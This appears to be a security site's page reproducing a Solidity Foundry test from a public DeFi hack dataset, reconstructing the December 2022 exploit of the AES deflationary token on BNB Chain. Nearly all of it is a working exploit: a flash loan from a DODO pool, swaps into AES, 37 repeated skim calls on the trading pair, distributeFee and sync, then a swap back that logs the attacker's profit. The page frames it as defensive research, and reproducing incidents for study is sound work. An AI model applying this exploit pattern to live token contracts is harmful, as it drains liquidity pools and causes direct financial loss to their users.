Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/AES_exp.sol

Public reproduction file for dataset entry - AES (Deflationary token).

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/AES_exp.sol68 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1600442137811689473
9// https://twitter.com/peckshield/status/1600418002163625984
10// @TX
11// https://bscscan.com/tx/0xca4d0d24aa448329b7d4eb81be653224a59e7b081fc7a1c9aad59c5a38d0ae19
13interface IAES is IERC20 {
14 function distributeFee() external;
17contract ContractTest is Test {
18 IAES AES = IAES(0xdDc0CFF76bcC0ee14c3e73aF630C029fe020F907);
19 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
20 Uni_Pair_V2 Pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);
21 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
22 address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 function setUp() public {
27 cheats.createSelectFork("bsc", 23_695_904);
28 }
30 function testExploit() public {
31 USDT.approve(address(Router), type(uint256).max);
32 AES.approve(address(Router), type(uint256).max);
33 DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));
35 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
36 }
38 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
39 USDTToAES();
40 AES.transfer(address(Pair), AES.balanceOf(address(this)) / 2);
41 for (uint256 i = 0; i < 37; i++) {
42 Pair.skim(address(Pair));
43 }
44 Pair.skim(address(this));
45 AES.distributeFee();
46 Pair.sync();
47 AESToUSDT();
48 USDT.transfer(dodo, 100_000 * 1e18);
49 }
51 function USDTToAES() internal {
52 address[] memory path = new address[](2);
53 path[0] = address(USDT);
54 path[1] = address(AES);
55 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56 100_000 * 1e18, 0, path, address(this), block.timestamp
57 );
58 }
60 function AESToUSDT() internal {
61 address[] memory path = new address[](2);
62 path[0] = address(AES);
63 path[1] = address(USDT);
64 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
65 AES.balanceOf(address(this)), 0, path, address(this), block.timestamp
66 );
67 }

Analysis

Dataset entry

Public Foundry test for “- AES (Deflationary token)” (2022-12-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
AES (Deflationary token)
Path
src/test/2022-12/AES_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5a6dd922e25a767ce2ba7152aa00130129f627fd
Language
Solidity
Size
69 lines
Date
2022-12-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/AES_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5a6dd922e25a767ce2ba7152aa00130129f627fd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.